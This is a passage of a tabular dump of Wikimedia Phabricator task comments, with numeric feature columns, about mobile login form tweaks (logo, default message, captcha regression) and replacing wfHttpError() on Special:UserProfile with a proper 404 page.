",@Florian I assume you will just fix the warning message? Should we create a separate bug for the logo? e.g. split this into two?,,,1435184804,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,11.0,7.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8888888888888888,SCREEN_NAME I assume you will just fix the warning message? Should we create a separate bug for the logo? e.g. split this into two?
480370,"Watermark and no default message not shown in alpha version of login form
",@Jdlrobson Agree that it does add a sense of trust. The message is inviting. I wasn't part of the original design decision. Lets add this to the alpha form for now until we have a larger conversation about the login form. ,,,1435095852,,PHID-USER-flenunkasbjk4topxvaj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,22.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,11.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,15.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,3.9565217391304346,0.8043478260869565,SCREEN_NAME Agree that it does add a sense of trust. The message is inviting. I wasn't part of the original design decision. Lets add this to the alpha form for now until we have a larger conversation about the login form. 
480250,"Watermark and no default message not shown in alpha version of login form
","I think the logo reinforces where you are and adds a sense of trust. @khammerstein was there any reason we put an image on the login form of mobile?

(I have to say it does look much nicer with it but it would be good to have some real reasoning behind why it is there)
",,,1435087900,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,7.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,11.0,7.0,7.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,5.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,11.0,0.0,2.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,2.0,0.0,2.0,3.5245901639344264,0.8524590163934426,"I think the logo reinforces where you are and adds a sense of trust.SCREEN_NAME was there any reason we put an image on the login form of mobile?

(I have to say it does look much nicer with it but it would be good to have some real reasoning behind why it is there)
"
479286,"Watermark and no default message not shown in alpha version of login form
","Do we really need the logo? I think about the limited space on mobile devices and the core login page contains a button to signup, which makes the form a little bit ""longer"". I think we should try to make th page as short as possible? :)",,,1435001130,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,9.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,9.0,0.0,4.0,4.0,0.0,8.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,3.6037735849056602,0.7735849056603774,"Do we really need the logo? I think about the limited space on mobile devices and the core login page contains a button to signup, which makes the form a little bit ""longer"". I think we should try to make th page as short as possible? :)"
479284,"Watermark and no default message not shown in alpha version of login form
","Change 219955 had a related patch set uploaded (by Florianschmidtwelzow):
Add default login message to all Loginpages (stable/alpha)

[[https://gerrit.wikimedia.org/r/219955]]
",,,1435001048,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,False,,,-2,True,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.15625,0.875,"Change 219955 had a related patch set uploaded (by Florianschmidtwelzow):
Add default login message to all Loginpages (stable/alpha)

[[GERRIT_URL]]
"
87260,Captcha not rendering on stable login form,"I know why. it's related to an upstream change. another reason we should be using core code. Fix on way.
",Needs Triage,90.0,1421782316,1421806330.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-4tcolqn55a3axjjlv26p,task_description,resolved,True,c3,1,True,True,True,-24,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.3076923076923075,0.8846153846153846,"I know why. it's related to an upstream change. another reason we should be using core code. Fix on way.
"
402348,Captcha not rendering on stable login form,"Change 186143 merged by jenkins-bot:
Fix PHP Notice error in UserCreateLoginTemplate

[[https://gerrit.wikimedia.org/r/186143]]",,,1421960981,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.333333333333333,0.9047619047619048,"Change 186143 merged by jenkins-bot:
Fix PHP Notice error in UserCreateLoginTemplate

[[GERRIT_URL]]"
401998,Captcha not rendering on stable login form,"Change 186143 had a related patch set uploaded (by Florianschmidtwelzow):
Fix PHP Notice error in UserCreateLoginTemplate

[[https://gerrit.wikimedia.org/r/186143]]

#patch-for-review",,,1421823172,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.4375,0.84375,"Change 186143 had a related patch set uploaded (by Florianschmidtwelzow):
Fix PHP Notice error in UserCreateLoginTemplate

[[GERRIT_URL]]

#patch-for-review"
401946,Captcha not rendering on stable login form,"Change 186014 merged by jenkins-bot:
Regression: Restore captcha in stable

[[https://gerrit.wikimedia.org/r/186014]]",,,1421805679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9047619047619047,0.8571428571428571,"Change 186014 merged by jenkins-bot:
Regression: Restore captcha in stable

[[GERRIT_URL]]"
401770,Captcha not rendering on stable login form,"> another reason we should be using core code
+++++++++++++++++1!
The header field shouldn't be omitted (or moved) :/",,,1421783584,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,52.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.090909090909091,0.5151515151515151,"QUOTE
+++++++++++++++++1!
The header field shouldn't be omitted (or moved) :/"
401755,Captcha not rendering on stable login form,"Change 186014 had a related patch set uploaded (by Jdlrobson):
Regression: Restore captcha in stable

[[https://gerrit.wikimedia.org/r/186014]]

#patch-for-review",,,1421782463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.8125,0.84375,"Change 186014 had a related patch set uploaded (by Jdlrobson):
Regression: Restore captcha in stable

[[GERRIT_URL]]

#patch-for-review"
87257,Hide account benefits in Minerva version of login page,".mw-createacct-benefits-container looks out of place and badly designed on Special:UserLogin in the alpha mode of the site.
Let's simply hide it for the time being.",Needs Triage,90.0,1421781853,1422556818.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_description,resolved,True,c3,1,True,True,True,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.810810810810811,0.8378378378378378,".mw-createacct-benefits-container looks out of place and badly designed on Special:UserLogin in the alpha mode of the site.
Let's simply hide it for the time being."
421602,Hide account benefits in Minerva version of login page,"No as commit message says it is alpha only.
",,,1425579577,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,1.0,"No as commit message says it is alpha only.
"
421299,Hide account benefits in Minerva version of login page,">>! In T87257#1001090, @gerritbot wrote:
> Change 185565 merged by jenkins-bot:
> Alpha login form tweaks
> 
> [[https://gerrit.wikimedia.org/r/185565]]

Did this affect only alpha, or also stable (and in particular it.wiki)?",,,1425546726,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,23.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.7307692307692307,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Did this affect only alpha, or also stable (and in particular it.wiki)?"
404404,Hide account benefits in Minerva version of login page,"Change 185565 merged by jenkins-bot:
Alpha login form tweaks

[[https://gerrit.wikimedia.org/r/185565]]",,,1422554368,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6315789473684212,0.8947368421052632,"Change 185565 merged by jenkins-bot:
Alpha login form tweaks

[[GERRIT_URL]]"
401760,Hide account benefits in Minerva version of login page,"Change 185565 had a related patch set uploaded (by Jdlrobson):
Alpha login form tweaks

[[https://gerrit.wikimedia.org/r/185565]]

#patch-for-review",,,1421782884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6333333333333333,0.8333333333333334,"Change 185565 had a related patch set uploaded (by Jdlrobson):
Alpha login form tweaks

[[GERRIT_URL]]

#patch-for-review"
86007,Special:UserProfile should not use wfHttpError() for missing user parameters,"wfHttpError() is meant for simple server responses to calls from non-user facing entry points (e.g. `thumb.php`).

It circumvents OutputPage and Skin and leaves the user unable to navigate elsewhere. As general rule of thumb, any url reachable by a regular page link (or any page generated by OutputPage/Skin) should result in response powered by OutputPage. Not cut short by `wfHttpError`.

Should probably output a page querying the user for input. Similar to Special:FilePath, Special:CategoryTree, Special:CentralAuth, Special:JavaScriptTest, etc. do when accessed without parameters.

Alternatively, if you don't want to create any such landing page or form, at least output the the current error message wrapped in a Special page using a simple `class=errorbox` element.

{F37183}",Needs Triage,90.0,1420642979,1423084329.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_description,resolved,True,c3,1,True,False,True,-26,True,1.5,0.0,0.0,0.5,1.0,8.0,0.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,3.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,14.0,1.5,2.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,10.0,8.0,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,2.0,0.0,1.5,2.0,4.214285714285714,0.7077922077922079,"wfHttpError() is meant for simple server responses to calls from non-user facing entry points (e.g. CODE).

It circumvents OutputPage and Skin and leaves the user unable to navigate elsewhere. As general rule of thumb, any url reachable by a regular page link (or any page generated by OutputPage/Skin) should result in response powered by OutputPage. Not cut short by CODE.

Should probably output a page querying the user for input. Similar to Special:FilePath, Special:CategoryTree, Special:CentralAuth, Special:JavaScriptTest, etc. do when accessed without parameters.

Alternatively, if you don't want to create any such landing page or form, at least output the the current error message wrapped in a Special page using a simple CODE element.

{F37183}"
406811,Special:UserProfile should not use wfHttpError() for missing user parameters,"Change 188602 merged by jenkins-bot:
SpecialUserProfile: Return Status code 404 when no user found

[[https://gerrit.wikimedia.org/r/188602]]",,,1423084188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.08,0.88,"Change 188602 merged by jenkins-bot:
SpecialUserProfile: Return Status code 404 when no user found

[[GERRIT_URL]]"
406806,Special:UserProfile should not use wfHttpError() for missing user parameters,Hey @Krinkle I was merely hoping for some kind of php doc link to the relevant function. I don't like to assume volunteers know how to do this sort of thing so any guidance no matter how trivial it seems can help someone get their first commit in but looks like @Florian has made this unnecessary :),,,1423083418,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,4.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,12.0,12.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,5.0,4.0,2.0,9.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,12.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.368421052631579,0.8771929824561403,HeySCREEN_NAME I was merely hoping for some kind of php doc link to the relevant function. I don't like to assume volunteers know how to do this sort of thing so any guidance no matter how trivial it seems can help someone get their first commit in but looks likeSCREEN_NAME has made this unnecessary :)
406742,Special:UserProfile should not use wfHttpError() for missing user parameters,"Change 188602 had a related patch set uploaded (by Florianschmidtwelzow):
SpecialUserProfile: Return Status code 404 when no user found

[[https://gerrit.wikimedia.org/r/188602]]

#patch-for-review",,,1423076627,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,4.25,0.8611111111111112,"Change 188602 had a related patch set uploaded (by Florianschmidtwelzow):
SpecialUserProfile: Return Status code 404 when no user found

[[GERRIT_URL]]

#patch-for-review"
406739,Special:UserProfile should not use wfHttpError() for missing user parameters,"@Jdlrobson I'm not sure what kind of documentation you're looking for. Output a page like any other and set the desired status code (if other than 200, which is PHP's default). There's no special error class for it. It's part of how OutputPage and Skin work. Just like setting page title, setting robot policy, setting canonical url, etc. one can also set status code.",,,1423076286,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,2.0,0.0,1.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,10.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,1.0,0.0,5.0,0.0,0.0,2.0,3.7777777777777777,0.7407407407407407,"SCREEN_NAME I'm not sure what kind of documentation you're looking for. Output a page like any other and set the desired status code (if other than 200, which is PHP's default). There's no special error class for it. It's part of how OutputPage and Skin work. Just like setting page title, setting robot policy, setting canonical url, etc. one can also set status code."
406737,Special:UserProfile should not use wfHttpError() for missing user parameters,"thanks for clarification @krinkle - is there any page documented how to do a 404 / 400 with correct styling. Special:UserProfile without parameters should never be linked to from anywhere and should not come up in search engines.
",,,1423076057,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-f3vt6ruvo3767ki4b6ze,task_subcomment,,True,c3,1,True,,,-22,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,19.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9285714285714286,"thanks for clarificationSCREEN_NAME - is there any page documented how to do a 404 / 400 with correct styling. Special:UserProfile without parameters should never be linked to from anywhere and should not come up in search engines.
"
406735,Special:UserProfile should not use wfHttpError() for missing user parameters,"@Jdlrobson It is the status quo because outputting unstyled errors is not up to our standards. It lacks user experience (no navigation options, other than browser Back). Any user-accessible page ought to rendered with our visual identity.

We don't show error pages with HTTP 200. If some cases do, that's a bug. Using OutputPage/Skin or not has no relation to the http status code:

* HTTP 400 https://en.wikipedia.org/wiki/!%3Cinvalid
* HTTP 404 https://en.wikipedia.org/wiki/!krinkle
* HTTP 404 https://en.wikipedia.org/w/index.php?title=!krinkle&action=raw
* HTTP 404 https://en.wikipedia.org/wiki/Special:Version/License/NotExist
* HTTP 429 (throttled action)
